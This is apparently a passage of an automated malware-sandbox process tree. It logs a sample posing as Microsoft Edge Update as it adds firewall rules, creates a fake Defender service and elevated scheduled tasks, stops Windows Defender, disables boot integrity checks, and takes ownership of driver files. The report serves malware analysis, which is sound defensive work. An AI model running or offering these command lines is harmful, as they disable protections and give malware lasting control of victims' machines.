  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2312
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe" enable=yes & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4300
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2280
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" E: /S
    3⤵
    PID:1912
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:1428
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:6420
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:1108
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" E: /D
    3⤵
    PID:1608
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" F: /S
    3⤵
    PID:6592
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" F: /D
    3⤵
    PID:7132
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" G: /S
    3⤵
    PID:2988
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" G: /D
    3⤵
    - Enumerates connected drives
    PID:7080
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" H: /S
    3⤵
    PID:6984
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" H: /D
    3⤵
    - Enumerates connected drives
    PID:2180
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" I: /S
    3⤵
    PID:2556
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" I: /D
    3⤵
    - Enumerates connected drives
    PID:5604
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" J: /S
    3⤵
    PID:6664
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" J: /D
    3⤵
    - Enumerates connected drives
    PID:4496
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" K: /S
    3⤵
    PID:4128
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "FamilySafetyRefreshTask_299c0403" /F
    3⤵
    PID:5896
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "FamilySafetyRefreshTask_299c0403" /XML "C:\Users\Admin\AppData\Local\Temp\b323e5fd-b05a-412c-8b41-d3bbe108ceb4.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2448
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 9 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5396
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 9 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4624
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" K: /D
    3⤵
    - Enumerates connected drives
    PID:6580
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "UsbCeip_afd6f5b2" /F
    3⤵
    PID:6832
- - C:\Windows\SYSTEM32\mountvol.exe
    "mountvol" L: /S
    3⤵
    PID:6196
- - C:\Windows\SYSTEM32\sc.exe
    "sc" start TrustedInstaller
    3⤵
    - Launches sc.exe
    PID:5892
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "UsbCeip_afd6f5b2" /XML "C:\Users\Admin\AppData\Local\Temp\315221ab-23d0-4fe2-b4d8-0b05a49dd3bb.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4844
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
    3⤵
    PID:856
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c schtasks /delete /F /TN "MicrosoftEdgeUpdate" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5828
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /F /TN "MicrosoftEdgeUpdate"
      4⤵
      PID:6388
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:7148
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "MicrosoftEdgeUpdate_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2800
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5468
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "MicrosoftEdgeUpdate_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4732
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3160
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "MicrosoftEdgeUpdate_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4944
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5392
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "MicrosoftEdgeUpdate_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6520
- - C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
    "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Modifies Windows Defender TamperProtection settings
    - UAC bypass
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Registers new Windows logon scripts automatically executed at logon.
    - Windows security modification
    - Checks whether UAC is enabled
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    - System policy modification
    PID:5272
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5784
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2012
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" E: /S
      4⤵
      PID:3456
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
      4⤵
      Launches sc.exe
      PID:3536
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
      4⤵
      Launches sc.exe
      PID:1708
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
      4⤵
      Launches sc.exe
      PID:4280
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_146fa105" /F
      4⤵
      PID:4500
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_146fa105" /XML "C:\Users\Admin\AppData\Local\Temp\36789cc8-d48b-485c-8bfd-919f57df15ae.xml" /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4632
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 9 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit
      4⤵
      Executes a command shell one-liner
      PID:1176
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 9 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:556
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_078dd752" /F
      4⤵
      PID:5488
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "OneDrive Standalone Update Task_078dd752" /XML "C:\Users\Admin\AppData\Local\Temp\d8f8ba0e-730b-49dd-aa07-9e17b5361060.xml" /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2016
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c schtasks /delete /F /TN "MicrosoftEdgeUpdate" & exit
      4⤵
      Executes a command shell one-liner
      PID:3356
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:7132
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /F /TN "MicrosoftEdgeUpdate"
        5⤵
        
        PID:5224
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" E: /D
      4⤵
      Enumerates connected drives
      PID:4128
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2556
  - - C:\Windows\SYSTEM32\sc.exe
      "sc" start TrustedInstaller
      4⤵
      Launches sc.exe
      PID:7080
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
      4⤵
      Executes a command shell one-liner
      PID:6984
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /tn "MicrosoftEdgeUpdate_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2292
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
      4⤵
      Executes a command shell one-liner
      PID:2472
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /tn "MicrosoftEdgeUpdate_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6852
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
      4⤵
      Executes a command shell one-liner
      PID:3180
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /tn "MicrosoftEdgeUpdate_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1924
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
      4⤵
      Executes a command shell one-liner
      PID:3248
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /tn "MicrosoftEdgeUpdate_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6544
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_a3515ba0" /F
      4⤵
      PID:3856
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" F: /S
      4⤵
      PID:6056
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_a3515ba0" /XML "C:\Users\Admin\AppData\Local\Temp\81206e40-6ad9-49fb-be59-85fb96c43c42.xml" /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5600
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Delete /TN "ProgramDataUpdater_d8a7bb14" /F
      4⤵
      PID:3312
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "ProgramDataUpdater_d8a7bb14" /XML "C:\Users\Admin\AppData\Local\Temp\c7706728-1e13-455c-809b-6838b71e2e1d.xml" /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4772
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" F: /D
      4⤵
      Enumerates connected drives
      PID:1208
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Delete /TN "Intel PTT EK Recertification_cdc965cb" /F
      4⤵
      PID:4716
  - - C:\Windows\SYSTEM32\net.exe
      "net" stop WinDefend
      4⤵
      PID:6032
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop WinDefend
        5⤵
        
        PID:5872
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" G: /S
      4⤵
      PID:2356
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "Intel PTT EK Recertification_cdc965cb" /XML "C:\Users\Admin\AppData\Local\Temp\4c8064d5-9f48-40e6-a6bb-f50978e3d01b.xml" /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3188
  - - C:\Windows\SYSTEM32\net.exe
      "net" start WinDefend
      4⤵
      PID:5376
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start WinDefend
        5⤵
        
        PID:2820
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Delete /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_8d16fe89" /F
      4⤵
      PID:5592
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /Create /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_8d16fe89" /XML "C:\Users\Admin\AppData\Local\Temp\b0ae58de-8af2-4be8-9440-45d19fdc319f.xml" /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3192
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" G: /D
      4⤵
      Enumerates connected drives
      PID:472
  - - C:\Windows\SYSTEM32\bcdedit.exe
      "bcdedit" /set testsigning on
      4⤵
      Modifies boot configuration data using bcdedit
      PID:7076
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" H: /S
      4⤵
      PID:4272
  - - C:\Windows\SYSTEM32\bcdedit.exe
      "bcdedit" /set nointegritychecks on
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1944
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:600
  - - C:\Windows\SYSTEM32\takeown.exe
      "takeown" /f "C:\Windows\system32\drivers\null.sys" /a
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6400
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4112
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4872
  - - C:\Windows\SYSTEM32\takeown.exe
      "takeown" /f "C:\Windows\system32\drivers\beep.sys" /a
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2348
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" H: /D
      4⤵
      Enumerates connected drives
      PID:3852
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6664
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6048
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5604
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" I: /S
      4⤵
      PID:3948
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3640
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4496
  - - C:\Windows\SYSTEM32\takeown.exe
      "takeown" /f "C:\Windows\system32\drivers\rasl2tp.sys" /a
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3924
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2656
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1392
  - - C:\Windows\SYSTEM32\takeown.exe
      "takeown" /f "C:\Windows\system32\drivers\raspppoe.sys" /a
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2092
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5632
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5600
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3536
  - - C:\Windows\SYSTEM32\takeown.exe
      "takeown" /f "C:\Windows\system32\drivers\raspptp.sys" /a
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2340
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3108
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5360
  - - C:\Windows\SYSTEM32\takeown.exe
      "takeown" /f "C:\Windows\system32\drivers\modem.sys" /a
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6748
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4944
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1888
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5892
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6832
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2884
  - - C:\Windows\SYSTEM32\icacls.exe
      "icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1660
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" I: /D
      4⤵
      Enumerates connected drives
      PID:6256
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" J: /S
      4⤵
      PID:6172
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" J: /D
      4⤵
      Enumerates connected drives
      PID:248
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" K: /S
      4⤵
      PID:3368
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" K: /D
      4⤵
      Enumerates connected drives
      PID:5768
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" L: /S
      4⤵
      PID:5616
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" L: /D
      4⤵
      Enumerates connected drives
      PID:6004
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" M: /S
      4⤵
      PID:2876
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" M: /D
      4⤵
      Enumerates connected drives
      PID:964
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" N: /S
      4⤵
      PID:6888
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" N: /D
      4⤵
      Enumerates connected drives
      PID:2180
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" O: /S
      4⤵
      PID:4648
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" O: /D
      4⤵
      Enumerates connected drives
      PID:6524
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" P: /S
      4⤵
      PID:2128
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" P: /D
      4⤵
      Enumerates connected drives
      PID:5200
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" Q: /S
      4⤵
      PID:200
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" Q: /D
      4⤵
      Enumerates connected drives
      PID:2428
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" R: /S
      4⤵
      PID:3808
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" R: /D
      4⤵
      Enumerates connected drives
      PID:4140
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" S: /S
      4⤵
      PID:1300
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" S: /D
      4⤵
      Enumerates connected drives
      PID:6176
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" T: /S
      4⤵
      PID:3512
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" T: /D
      4⤵
      Enumerates connected drives
      PID:4092
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" U: /S
      4⤵
      PID:1112
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" U: /D
      4⤵
      Enumerates connected drives
      PID:1752
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" V: /S
      4⤵
      PID:4192
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" V: /D
      4⤵
      Enumerates connected drives
      PID:6920
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4264
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" W: /S
      4⤵
      PID:1432
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" W: /D
      4⤵
      Enumerates connected drives
      PID:1308
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4272
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" X: /S
      4⤵
      PID:5604
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5616
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" X: /D
      4⤵
      Enumerates connected drives
      PID:5768
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" Y: /S
      4⤵
      PID:4696
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" Y: /D
      4⤵
      Enumerates connected drives
      PID:4672
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" E: /S
      4⤵
      PID:2964
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" E: /D
      4⤵
      Enumerates connected drives
      PID:3956
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" F: /S
      4⤵
      PID:4280
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" F: /D
      4⤵
      Enumerates connected drives
      PID:2004
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" G: /S
      4⤵
      PID:6048
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" G: /D
      4⤵
      Enumerates connected drives
      PID:3960
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" H: /S
      4⤵
      PID:464
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" H: /D
      4⤵
      Enumerates connected drives
      PID:3760
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" I: /S
      4⤵
      PID:6636
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4140
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" I: /D
      4⤵
      Enumerates connected drives
      PID:552
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" J: /S
      4⤵
      PID:4856
